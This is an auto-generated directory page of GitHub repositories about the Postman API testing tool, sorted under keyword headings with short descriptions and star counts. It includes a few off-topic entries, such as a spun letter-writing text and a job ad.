api blueprint, asyncapi, auth, bcrypt, book, chat, codes, data, express, following, form, github, google, hapi, hashi, http, https, json schema, list, local, mongo, mongoose, mysql, node, oauth, oauth2, openid, private, projects, rest, restapi, route, routes, sample, sql, swagger, validation 		For more Nodejs,JavaScript projects :: goto https://github.com/thunderssilver to see our team projects listed as following:: 1)stud_form with nodeJS,mysql 2)swagger.io/openAPI 3)socket1 4)restapiauth: (nodeJS,expressJS with routes,private routes,auth(JWT),validations([email protected]),password hashing with bcryptjs,data/codes hiding with dotenv lib,MongoDb(mongoose connect) as DB) 5)restapi: (MongoDb as DB) 6)sample_postman 7)oauth2.0 with google,facebook 8)oauth2.0 with local strategy 0 stars 0 watchers 0 forks

extensions (3 listings) (Back to Top)

yuun/aws-apigateway-exporter
export, exporter, exporting, extension, extensions, file, form, format, gateway, integration, json, script, swagger, yaml 		Python script for exporting an API Gateway stage to a swagger file, in yaml or json format, with Postman or API Gateway integrations extensions. 8 stars 8 watchers 1 forks
vail130/gohttp
browser, command, command line, extension, extensions, http, place, tool 		HTTP command line tool in Go. Replacement for Curl and browser extensions like Dev HTTP Client and Postman. 3 stars 3 watchers 1 forks
npearce/iclx_postman_workflows
collection, collections, extension, extensions, workflow 		Calling POSTMAN collections from iControlLX extensions 0 stars 0 watchers 0 forks

folders (3 listings) (Back to Top)

pedront/postman-collection-folder
collection, collections, convert, folder, folders, util 		Simple util to convert collections to folders and vice-versa 0 stars 0 watchers 0 forks
TSQAteam/Automated-API-Testing-Using-Postman-Collections
collection, description, executable, folder, folders, runner, script, send, test, tests 		A Postman Collection is an executable API Description. Organize requests into folders. Document the collection with descriptions, tests, and more. Send requests individually, or use collection runner to send all the requests in the collection. 0 stars 0 watchers 0 forks
VignaanVardhan/API
access, client, file, files, folder, folders 		API to get the files and folders in a folder in a folder and get a file by ID,Ability to access this API via REST client like POSTMan 0 stars 0 watchers 0 forks

traffic (3 listings) (Back to Top)

flascelles/synthetic-API-traffic-generation
collection, collections, general, generate, generation, model, models, postman collection, postman collections, script, scripts, traffic, training 		scripts and postman collections to generate synthetic api traffic for training ML models and general purposes 0 stars 0 watchers 0 forks
ishantiw/trafficGenerator
traffic 		Traffic Generator using postman 0 stars 0 watchers 0 forks
komerela/psychology
grafana, monitor, test, testing, traffic, util, visual 		This is a healthcare repo for a Django app and created using a REST API with the Django Rest Framework. Prometheus will be utilized to monitor traffic and grafana will be used to visualize the traffic. Integration will utilize CicleCI. We will use Postman for API testing. 0 stars 0 watchers 0 forks

debugging (3 listings) (Back to Top)

Inn4ki/chatapp
admin, application, applications, auth, chat, completed, computer, course, debug, debugging, design, designed, engine, file, files, form, format, included, including, lang, language, learn, learned, learning, lesson, logging, middleware, parameter, passing, passport, program, programming, protecting, quality, query, rating, route, router, routes, sets, speed, sync, training, tutorial, user, users, validation, video, web app 		NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js 4 stars 4 watchers 5 forks
IbrahimMSabek/mfpAdapterTester
active, auth, authentication, data, debug, debugging, docs, secure, secured, spec, test, web app 		This will be a web app that will act like Postman which aim to test secured IBM Mobilefirst 8 adapters with custom authentication specially that save and use data within active session as Postman basic authentication debugging detailed in MFP docs won't fit 0 stars 0 watchers 0 forks
peterbozso/directline-postman
collection, debug, debugging, enviroment 		Postman collection and enviroment for debugging bots through the Direct Line API 3.0 0 stars 0 watchers 0 forks

codegen (3 listings) (Back to Top)

someshkoli/dart-http-codegen
codegen, http 		postman codegen for dart 1 stars 1 watchers 1 forks
postmanlabs/codegen-curl
codegen, curl, generator, snippet 		curl snippet generator for Postman Requests 1 stars 1 watchers 1 forks
someshkoli/postman-collection-codegen
codegen, collection, generator, postman collection 		A sdk generator for entire postman collection. 0 stars 0 watchers 0 forks

stored (3 listings) (Back to Top)

afiqveltra/postman
collection, collections, postman collection, postman collections, store, stored 		stored postman collections 0 stars 0 watchers 0 forks
bobkrstic/React_RestAPI
book, books, file, instruction, json, library, local, rating, route, routes, server, store, stored, struct, test, tested 		CRUD with React.js and local JSON-Server. Adding books to the library with titles and ratings. Data is stored on a local json server and routes tested with Postman. Check README file for instructions on how to start the app. 0 stars 0 watchers 0 forks
o-filippov/Practice
postman tests, store, stored, test, tests 		Currently some postman tests are being stored here 0 stars 0 watchers 0 forks

history (3 listings) (Back to Top)

shivkanthb/curlx
charge, collection, collections, curl, history 		◼️ Supercharge curl with history, collections and more. 0 stars 0 watchers 3 forks
ivansams/PostmanCollectionSorter
collection, collections, history, match, object, order, output, random, sort, source, version 		Cmd line app to sort the requests within Postman collections to match the order object. Postman randomly shuffles requests when outputting collections in order to make source control difficult even with minor changes. If this is run before each update to a collection, it allows you to see incremental changes to each version in history instead of the entire collection being shuffled. 1 stars 1 watchers 0 forks
gitpan/Email-Postman
history, mail, release 		Read-only release history for Email-Postman 0 stars 0 watchers 0 forks

executable (3 listings) (Back to Top)

Epoxboy/PostmanNewmanDockerfile
executable, file, image, user 		Dockerfile for Postman/Newman to run executable image as a non-root user 0 stars 0 watchers 0 forks
shanpali/curlToJavaCode
collection, curl, executable, postman collection, test, testng, util 		This util will help create executable testng test from a postman collection 0 stars 0 watchers 0 forks
TSQAteam/Automated-API-Testing-Using-Postman-Collections
collection, description, executable, folder, folders, runner, script, send, test, tests 		A Postman Collection is an executable API Description. Organize requests into folders. Document the collection with descriptions, tests, and more. Send requests individually, or use collection runner to send all the requests in the collection. 0 stars 0 watchers 0 forks

shared (3 listings) (Back to Top)

donotello/postman-shared-utils
collection, collections, note, shared, util, utils 		Repository contains shared utils that can be used in Postman collections. 1 stars 1 watchers 1 forks
shared-economy/share-your-stuff-postman
collection, postman collection, shared, test 		This is the postman collection to test the API. 1 stars 1 watchers 0 forks
Baxter406/postmanBF
command, commands, shared 		postman commands to be shared for QA team 0 stars 0 watchers 0 forks

verbs (3 listings) (Back to Top)

akshaymittal143/BookAPI-Web-Services
combine, combined, data, development, end to end, express, integration, light, lightweight, powerful, quickly, server, service, services, test, tests, tool, unit, verb, verbs 		Node.js is a simple and powerful tool for back-end development. When combined with express, you can create lightweight, fast, scalable APIs quickly and simply. which will walk through how to stand up a lightweight Express server serving truly RESTful services using Node.js, Mongoose, and MongoDB. We will implement all of the RESTful verbs to get, add, and update data from our service. We will also spend some time working through unit and end to end integration tests for our services. 1 stars 1 watchers 0 forks
DJMare/express_http_RequestAndResponse_httpVerbsPostman
express, http, operation, operations, verb, verbs 		A simple express Http Request and Response app using http verbs to view basic CRUD operations in Postman. 0 stars 0 watchers 0 forks
nikitaphopse/django_customer_base_project
action, application, backend, behaviour, customer, data, database, default, django, environment, fields, filter, image, list, method, permissions, proving, query, relationship, search, security, sets, token, upload, verb, verbs, version, versions 		We will create a full project ( Customer Base ) with all database relationships, image upload and full control on what is happening behind the scenes. Introduction Preparing the environment Creating the base of the application ( Customer base app ) Setup of the Django Rest Framework Exposing an API for the Customer Endpoint Consuming this API with Google Chrome and Postman Creating the Endpoint for the all entities Personalizing the get_queryset method to provide a list of Customers with filters Override of the behaviour for the defaults HTTP verbs (Get, Post, Put, Patch, Delete ) Creating custom actions Using query strings Filtering querysets with DjangoFilter backend Enabling API search Custom lookup field Improving the API security with Tokens Custom permissions per token Nested relationships OneToOne ForeignKey ManyToMany Types of Serializers Nested serializers Function fields Types of ViewSets Enabling Pagination on your API Deploy on Heroku Updating versions of the application after deploy on Heroku 0 stars 0 watchers 0 forks

validating (3 listings) (Back to Top)

ambuyo/nodejs-mongo-authentication
auth, authentication, data, mongo, mongod, mongodb, node, nodejs, schema, validating 		validating mongodb data schema using nodejs and postman 0 stars 0 watchers 0 forks
gross-micah/Postman-Testing-Rest-API
test, test suite, validating 		Example of Postman test suite validating an API 0 stars 0 watchers 0 forks
jango89/postman-test-validate-spring-cloud-configuration
actor, cloud, config, configuration, image, projects, spring, test, validating 		Docker image for validating ConnectionFactory created are not overriden for spring cloud projects. 0 stars 0 watchers 0 forks

automating (3 listings) (Back to Top)

umangbudhwar/api-testing-postman
automat, automating, test, testing 		Demo project for automating API testing. 0 stars 0 watchers 0 forks
iheartdaikaiju/postman_tools
automat, automating, newman, tool, tools 		Tools for automating with postman / newman 0 stars 0 watchers 0 forks
qaclub/postman_collection_example
automat, automating, collection, collections, example, postman collection, postman collections, test, testing 		Example of using postman collections for automating REST API testing 0 stars 0 watchers 0 forks

schemas (3 listings) (Back to Top)

postmanlabs/schemas
schema, schemas, struct, structure 		Repository of all schemas for JSON structures compatible with Postman (such as the Postman Collection Format) 23 stars 23 watchers 20 forks
smmcgrath/MyFirstApp
access, accessed, application, auth, authentication, backend, case, client, comments, communicate, data, database, databases, design, designed, development, environment, example, form, framework, function, hashi, host, hosted, includes, including, mean, mini, minimal, move, moved, network, object, objects, program, protecting, remote, rest, restrict, retrieve, schema, schemas, server, site, source, style, terminal, test, tested, token, tokens, transform, transforming, updated, web app 		Built in Node.js open source server framework. In this project I moved from client-side development (using JavaScript, HTML, and CSS) to building a server-side web application using the Express.js web framework hosted in Node.js runtime environment. The site includes a flatty style landing page including navigatation bar, sign-up forms, staff info etc. It has an uncluttered and minimal UI. The backend API’s communicated with databases designed using MongoDB, an example of a NoSQL database program using JSON-like objects with schemas. All APIs, including GET, PUT, UPDATE and DELETE were tested using Postman. Great experience using PuTTY open-source terminal emulator, working remotely over SSH network protocol. Securing my API with authentication; hashing passwords using Bcrypt and issuing tokens with JSON Web Token (JWT). New additions help to restrict access and ensure tokens are verified. Previous to this the back-end APIs could be easily accessed via the URL. User comments coudl be retrieved, new ones saved, deleted or updated. Hashing is a means of transforming a string of characters (passwords, in my case) into a different and larger set of characters, thus protecting our sensitive data. Bcrypt is the password hashing function used. 1 stars 1 watchers 0 forks
rodrigo-contentful/apis-schemas
content, schema, schemas 		CDA, CMA JSON schemas for Postman, Insomina and more to come 0 stars 0 watchers 0 forks

sign up (3 listings) (Back to Top)

shijiahu/face-recognition-api
data, database, facial, image, images, recognition, server, sign up, system, test, testing, tool 		- Built a facial recognition system, using React.js as front-end, Node.js and Express.js as back-end server, PostgreSQL as database, Postman as testing tool - Enabling sign up/sign in, recognize face from images features - Deployed the app to Heroku 0 stars 0 watchers 1 forks
shijiahu/face-recognition
data, database, facial, image, images, recognition, server, sign up, system, test, testing, tool 		- Built a facial recognition system, using React.js as front-end, Node.js and Express.js as back-end server, PostgreSQL as database, Postman as testing tool - Enabling sign up/sign in, recognize face from images features - Deployed the app to Heroku 0 stars 0 watchers 0 forks
saksham1998/node-rest
auth, authentication, example, node, rest, rest api, security, sign up 		A small example rest api, with security,authentication,log in and sign up features. Complete Backend of the app. To be run on postman 0 stars 0 watchers 0 forks

insight (3 listings) (Back to Top)

awaisbub/Shircle
aapplication, android, application, back end, business, businesses, customer, data, database, design, designed, developer, entity, following, framework, generation, insight, inventory, keeper, local, mobile, product, products, report, reports, rest, setup, solution, store, stores, studio, track 		It is Android aapplication back end code made for small local businesses. The back end of this application is in C# .NET using MVC architecture making REST APIs. And all the views are on Android. I worked as a back end developer in this app. Back end of the app is in c# using .NET entity framework. REST APIs developed using Model View Controller(MVC) architecture. Views were designed on android studio. The database was designed by using Code First Approach. (Visual Studio, Android Studio, Microsoft Azure, Microsoft SQL, SQLite, Postman, Entity Framework, MVC, Firebase REST API’s, REST API’s, JSON) This app has the following features: I. It provides all in one business solution to shopkeepers. Shopkeeper can setup his online store, manage sales through mobile POS, track of inventory, sale reports generation, market insights, and trending products. II. On the other hand, customer can view nearby stores through Google Maps & Shircle-Eye, add products to virtual cart, and view trending items according to their interests. 0 stars 0 watchers 0 forks
bhanukandregula/microsoft-graph-bookings-apis
book, booking, collection, customer, customers, graph, insight, managing, microsoft 		Microsoft Bookings is for small and mid scale industries for managing appointments from the customers. This repo will give you a flexibility to use all the possible APIs that comes with Microsoft Bookings with NODE JS. It also consists of the Postman collection to give a quick try and understand its insights. 0 stars 0 watchers 0 forks
dfoderick/postman-insight-api
coins, debug, insight 		Test and debug insight APIs for various coins using Postman: BSV, BCH, BTC, DASH, LTC 0 stars 0 watchers 0 forks

specifications (3 listings) (Back to Top)

stoplightio/api-spec-converter
convert, converte, converter, light, package, spec, specification, specifications, stoplight 		This package helps to convert between different API specifications (Postman, Swagger, RAML, StopLight). 106 stars 106 watchers 73 forks
Bisnode/api-stuff
collection, collections, guide, guidelines, lines, node, postman collection, postman collections, spec, specification, specifications 		Repository for api specifications, postman collections and api guidelines. 0 stars 0 watchers 3 forks
TVoroshilova/QA-automation-programmer
agile, application, automat, automatic, automation, cloud, degree, developing, development, environment, environments, expect, fluent, form, framework, frameworks, function, functional, home, including, integration, level, method, office, performance, process, product, program, public, release, remote, report, seek, skills, software, spec, specification, specifications, stat, system, test, testing, tests, tool, tools, track, tracking, user, writing 		At least 2 years experience in Testing Automation Development using known software testing tools and frameworks as Selenium, Appium, Postman, etc. ∙ Experience with Web, DB (SQL/NoSQL) and API testing – Must. ∙ Experience with working over Linux OS and public cloud environments – Must. ∙ Experience with defect tracking system (as GIT, Jira or VSTS/Azure Dev Ops) – Must. ∙ Experience in working with Docker – Advantage.We are seeking an experienced QA automation programmer that will be leading the testing automation activities for our SaaS product. ∙ The QA automation programmer will be part of an innovative team developing a challenging, cutting edge technology Web application for the e-Commerce world. ∙ Main responsibilities: Develop test plans including functional testing, end user testing, stress, performance, reliability and usability testing. o Evaluate product code according to specifications, report and track bugs and fixes. o Execute automatic tests on the product during development and pre-release stages. o Work closely with R&D and product teams on new features, system integration and performance testing as a part of a startup company stationed in Israel. o Participate in the complete development process using the agile methodology. ∙ Academic degree from a known institution.High level English – very good writing skills, fluent speech.The candidate agrees to work from Trust’s offices and not remotely from home.Salary expectations: Up to 2000 USD (Gross salary) 0 stars 0 watchers 0 forks

parameterized (3 listings) (Back to Top)

anthonyvallee/riot-api-postman
collection, method, methods, parameter, parameterized, riot 		Postman request collection that can be parameterized for all of League of Legends' API methods. 0 stars 0 watchers 0 forks
AusHick/Postman-RiotAPI
collection, parameter, parameterized 		A fully parameterized Postman request collection for use with the Riot API 0 stars 0 watchers 0 forks
DJMare/Sequelize_RESTfulAPI_ParameterizedRoute_HelperFunction
data, database, express, function, helper, parameter, parameterized, route, routes, spec 		An express app connecting to mySQL database and implementing RESTful API to return specific id data using parameterized routes and helper function from a GET request in Postman that returns JSON data. 0 stars 0 watchers 0 forks

distributed (3 listings) (Back to Top)

geanv/Postman
distributed, form, network, performance, process, service 		A distributed NFV service to improve network performance for small packet processing 0 stars 0 watchers 0 forks
Ketan88/pal-tracker-distributed-postman
distributed, track, tracker 		0 stars 0 watchers 0 forks
madaoguteng/postman
action, component, components, distributed, message, solution, transactions 		Postman is a components based on Java, which is solution to help you dealing with distributed transactions. it is Implementation of distributed message dealing and Saga. 0 stars 0 watchers 0 forks

compare (3 listings) (Back to Top)

Mir00r/busticketing
access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app 		Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. 1 stars 1 watchers 2 forks
FachrulCH/webservices-test-framework-compare
assured, compare, framework, newman, opinion, personal, rest, script, service, services, test, webservice, webservices 		personal opinion for test framework for web services in PHP, Python, Javascript, and Java. using codeception, postman-newman, robot framework, rest assured 0 stars 0 watchers 0 forks
Vinodh-thimmisetty/Spring-webservices
compare, form, framework, frameworks, performance, service, services, webservice, webservices 		Spring based Restful API to compare the performance of Hibernate and MyBatis frameworks based on response time(POSTMAN). 0 stars 0 watchers 0 forks

scraper (3 listings) (Back to Top)

hakaneroztekin/glassdoor-top-rated-scraper-javascript
java, javascript, scraper, script, wondered 		💯 Ever wondered the top rated companies in Istanbul on Glassdoor? ☕ Tech stack: Java 11, Spring Boot, Spring MVC, JavaScript, React, Docker, PostgreSQL, RESTful API, Hibernate, Maven, Material UI, IntelliJ, Postman, SourceTree, Git 3 stars 3 watchers 1 forks
66eli77/postman-craigslist-scraper
config, configurable, list, result, scraper, slack 		Search craigslist and post the result on slack in configurable interval. 0 stars 0 watchers 0 forks
md-farhan-memon/site-scraper-rails-api
content, rails, scraper, site 		HTML Tag content Scraper - API, PgSql, Rails 5 0 stars 0 watchers 0 forks

skills (3 listings) (Back to Top)

pavelsaman/Skills
flask, framework, newman, pytest, site, skills, test, track, tracking, website 		A simple flask website for tracking skills. Written in Python, flask. Tests in pytest, Postman (and newman) and Robot framework. 1 stars 1 watchers 0 forks
TVoroshilova/QA-automation-programmer
agile, application, automat, automatic, automation, cloud, degree, developing, development, environment, environments, expect, fluent, form, framework, frameworks, function, functional, home, including, integration, level, method, office, performance, process, product, program, public, release, remote, report, seek, skills, software, spec, specification, specifications, stat, system, test, testing, tests, tool, tools, track, tracking, user, writing 		At least 2 years experience in Testing Automation Development using known software testing tools and frameworks as Selenium, Appium, Postman, etc. ∙ Experience with Web, DB (SQL/NoSQL) and API testing – Must. ∙ Experience with working over Linux OS and public cloud environments – Must. ∙ Experience with defect tracking system (as GIT, Jira or VSTS/Azure Dev Ops) – Must. ∙ Experience in working with Docker – Advantage.We are seeking an experienced QA automation programmer that will be leading the testing automation activities for our SaaS product. ∙ The QA automation programmer will be part of an innovative team developing a challenging, cutting edge technology Web application for the e-Commerce world. ∙ Main responsibilities: Develop test plans including functional testing, end user testing, stress, performance, reliability and usability testing. o Evaluate product code according to specifications, report and track bugs and fixes. o Execute automatic tests on the product during development and pre-release stages. o Work closely with R&D and product teams on new features, system integration and performance testing as a part of a startup company stationed in Israel. o Participate in the complete development process using the agile methodology. ∙ Academic degree from a known institution.High level English – very good writing skills, fluent speech.The candidate agrees to work from Trust’s offices and not remotely from home.Salary expectations: Up to 2000 USD (Gross salary) 0 stars 0 watchers 0 forks
ioulungTsai/api-test-mocha-postman-curl
curl, skills, test 		Software QA skills practice 0 stars 0 watchers 0 forks

regression (3 listings) (Back to Top)

ArpithaArun/Qantas_API_Project
case, cases, regression, test 		Automation regression test-cases using Postman 0 stars 0 watchers 1 forks
aplorenzen/selenium-example
automat, automate, example, newman, regression, runner, selenium, smoke, test, testing 		An example of how Selenium IDE, selenium-side-runner, Postman and newman can be used to automate regression and smoke testing 0 stars 0 watchers 0 forks
MasonChambers/Regression-Testing-Postman
form, format, formatted, html, newman, output, regression, test, testing 		regression testing for postman with newman and formatted html output 0 stars 0 watchers 0 forks

study (3 listings) (Back to Top)

mrityunjay38/Trello-Clone
clone, integration, study, test, testing 		Trello point-to-point clone to study api integration and Postman testing. 0 stars 0 watchers 0 forks
aivasiuk33/Postman
study 		this is for postman study 0 stars 0 watchers 0 forks
titouanco/univ-techweb-silexwiki
silex, student, study, wiki 		[OLD-2016] Quick intro to PHP Sylex, API REST, MVC and postman done to help fellow students while I was studying at uni. (text in french) 0 stars 0 watchers 0 forks

commands (3 listings) (Back to Top)

nathan-hega/slack-bots
command, commands, integrate, integrates, server, slack 		A Node.js / Express server that integrates with Slack slash commands. 1 stars 1 watchers 0 forks
etuchscherer/postman2curl
collection, collections, command, commands, convert, converting, curl, postman collection, postman collections, util, utility 		A Gem utility for converting postman collections into curl commands. 0 stars 0 watchers 0 forks
Baxter406/postmanBF
command, commands, shared 		postman commands to be shared for QA team 0 stars 0 watchers 0 forks

comparing (3 listings) (Back to Top)

indeedeng-alpha/newman-reporter-diff
case, client, comparing, http, newman, report, reporter 		Showcase for comparing http requests using newman, the postman cli client. 0 stars 0 watchers 0 forks
thandon263/newman-stub
comparing, data, example, examples, newman, runner, test, test run 		This is a newman test runner for comparing api response data to stub examples. 0 stars 0 watchers 0 forks
YangCatalog/site_health
check, collection, collections, comparing, container, play, playing, public, result, site 		This container checks the health if YangCatalog by playing the public Postman collections and comparing the results. 0 stars 0 watchers 0 forks

checked (3 listings) (Back to Top)

jmaribau/DemoHtCm
api blueprint, asyncapi, check, checked, collection, collections, environment, fixtures, json schema, oauth, openid, quality, sql, test, tests, tool, tools 		Simple Api Rest Crud with Docker, Symfony 4.3, Mysql 5.7, PhpUnit, Unit Integration Functional tests, Data fixtures, 95% Coverage, Authentication JWT, Events, EventsSubscribers, Loggin, Authorization Roles, Services, Managers, Composer, MakeFile Commands, PostMan collections & environment, checked with quality tools, SOLID, clean code, best practices. 0 stars 0 watchers 0 forks
kaushik041/Node_JWT-Auth
auth, authentication, brypts, check, checked, express, mongo 		JWT authentication with express, mongo, brypts. API checked via postman 0 stars 0 watchers 0 forks
vigneshios/FirstApiHello
check, checked, collection, collections, data, database, express, mongo, node, writing 		writing my first api with node, mongo database, express.checked api calls in postman, viewed mongo collections in roboMongo. 0 stars 0 watchers 0 forks

welcome (3 listings) (Back to Top)

vishnoitanuj/Blockchain-Cryptocurrency
basics, blockchain, chai, crypto, currency, file, flask, implementation, server, server., servers, struct, suggest, welcome 		A basic implementation of blockchain based on flask server. It servers the basics of crypto-currency technology. The genesis, block constructor and its use are explained in the read-me file. Any suggestions are welcomed. 0 stars 0 watchers 2 forks
gouravjixer/Informal-letter-format
address, application, business, case, collection, collections, compose, creation, design, download, exercise, form, format, instruction, issue, letters, message, messages, method, school, secure, secured, sort, sorted, spec, steem, struct, test, tests, to do, user, util, utilization, welcome 		Casual Letter Format Sample is as yet a fundamental ability being in the realm of messages and messages. Each individual needs to compose letters in a few or other way. Letters for an occupation application, protests, thank you, asking for something, recommending something and so forth are in pattern might be in a business field or in school period. It likewise has its favorable circumstances. Empowering understudies in early ages for composing casual letter organize CBSE will enhance their relational abilities, include certainty, enhancing penmanship aptitudes, and make them think about composing organization and utilizations and its organizing that how formal and casual letters vary and make significance. The most effective method to compose a casual letter design Composing a casual letter arrange in English professionally is better and make your esteem. A casual letter can be composed in any criteria or way you can pick however composing it in a sorted out way will make its esteem. You ought to take after the organization in like manner. Right off the bat comes the opening: in this one should know how to address the peruser legitimately in a casual way. This ought to be direct and begin by specifying the name of the individual with a sweet welcome. What's more, begin your letter like, 'how are you?', 'trust you are fine.' Etc. The body: the body ought to be composed in a well disposed and individual tone. Consider your genuine relations and issues and begin composing it in like manner tone and dialect. Shutting: here one condenses their perspectives and give a farewell or get together the wave. You can specify, 'see you soon.', 'can hardly wait to see you.' and so forth. Also, compose your name and mark toward the end. casual letter case pdf casual letter case pdf Snap Here To Download Informal letter case pdf Unique ABOUT HANDWRITTEN LETTERS There are fun and creation in written by hand letters. There is still exceptionalness contributing a letter in the case and getting it from a postman, secured with beautiful stamps and love. This shows somebody has set aside time for you to think and sit to compose a letter. These have their own particular appeal. Configuration of casual letter in english Configuration of casual letter in english Configuration of casual letter in english Snap Here To Download Format of the casual letter in English Step by step instructions to compose an individual letter the most effective method to compose an individual letter the most effective method to compose an individual letter Snap here to download how to compose an individual letter PDF End These have their own esteem. These are sent by adoration and time and one keeps them for whatever length of time that recollections. These likewise have exercises and help youngsters to indicate inventiveness, have some good times, take in its significance and upgrade their aptitudes. 0 stars 0 watchers 0 forks
drew-royster/canvasAPISPostman
collection, postman collection, welcome 		I turned many, but definitely not all of the canvas apis into a postman collection. Pull requests welcome! 0 stars 0 watchers 0 forks

restrict (3 listings) (Back to Top)

postmanlabs/postman-chrome-interceptor
chrome, extension, header, package, rest, restrict, send 		Helper extension for the Postman packaged app. Also helps send restricted headers. 178 stars 178 watchers 59 forks
smmcgrath/MyFirstApp
access, accessed, application, auth, authentication, backend, case, client, comments, communicate, data, database, databases, design, designed, development, environment, example, form, framework, function, hashi, host, hosted, includes, including, mean, mini, minimal, move, moved, network, object, objects, program, protecting, remote, rest, restrict, retrieve, schema, schemas, server, site, source, style, terminal, test, tested, token, tokens, transform, transforming, updated, web app 		Built in Node.js open source server framework. In this project I moved from client-side development (using JavaScript, HTML, and CSS) to building a server-side web application using the Express.js web framework hosted in Node.js runtime environment. The site includes a flatty style landing page including navigatation bar, sign-up forms, staff info etc. It has an uncluttered and minimal UI. The backend API’s communicated with databases designed using MongoDB, an example of a NoSQL database program using JSON-like objects with schemas. All APIs, including GET, PUT, UPDATE and DELETE were tested using Postman. Great experience using PuTTY open-source terminal emulator, working remotely over SSH network protocol. Securing my API with authentication; hashing passwords using Bcrypt and issuing tokens with JSON Web Token (JWT). New additions help to restrict access and ensure tokens are verified. Previous to this the back-end APIs could be easily accessed via the URL. User comments coudl be retrieved, new ones saved, deleted or updated. Hashing is a means of transforming a string of characters (passwords, in my case) into a different and larger set of characters, thus protecting our sensitive data. Bcrypt is the password hashing function used. 1 stars 1 watchers 0 forks
Narbhakshi/Simple-Rest-Agent
enterprise, install, rest, restrict, tool, tools 		This is a Simple Rest Agent. Useful when we cannot install/use Postman-like tools due to enterprise restrictions 0 stars 0 watchers 0 forks

dynamically (3 listings) (Back to Top)

Krishank/API-Test-Lib
